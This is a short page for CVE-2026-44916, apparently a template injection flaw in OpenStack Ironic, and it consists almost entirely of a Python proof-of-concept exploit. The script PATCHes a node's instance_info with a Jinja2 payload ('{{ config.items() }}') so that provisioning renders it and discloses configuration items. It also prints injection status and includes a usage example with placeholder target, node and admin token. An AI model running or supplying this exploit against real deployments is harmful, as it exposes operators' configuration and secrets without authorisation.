CVE-2026-44916 OpenStack Ironic模板注入漏洞

# PoC for CVE-2026-44916 # Description: Inject malicious Jinja2 payload into instance_info['ks_template'] # Note: Requires high privileges and valid authentication token. import requests import json def exploit_poc(target_ip, node_uuid, auth_token): url = f"http://{target_ip}:6385/v1/nodes/{node_uuid}" headers = { "X-Auth-Token": auth_token, "Content-Type": "application/json" } # Malicious payload to read configuration items (Information Disclosure) # Using Jinja2 syntax to access the 'config' object payload_data = { "instance_info": { "ks_template": "{{ config.items() }}" } } try: response = requests.patch(url, data=json.dumps(payload_data), headers=headers) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Trigger node provisioning to render the template and observe logs/output.") else: print(f"[-] Injection failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error occurred: {e}") # Usage example (replace placeholders) # exploit_poc("192.168.1.100", "NODE-UUID-HERE", "ADMIN-TOKEN-HERE")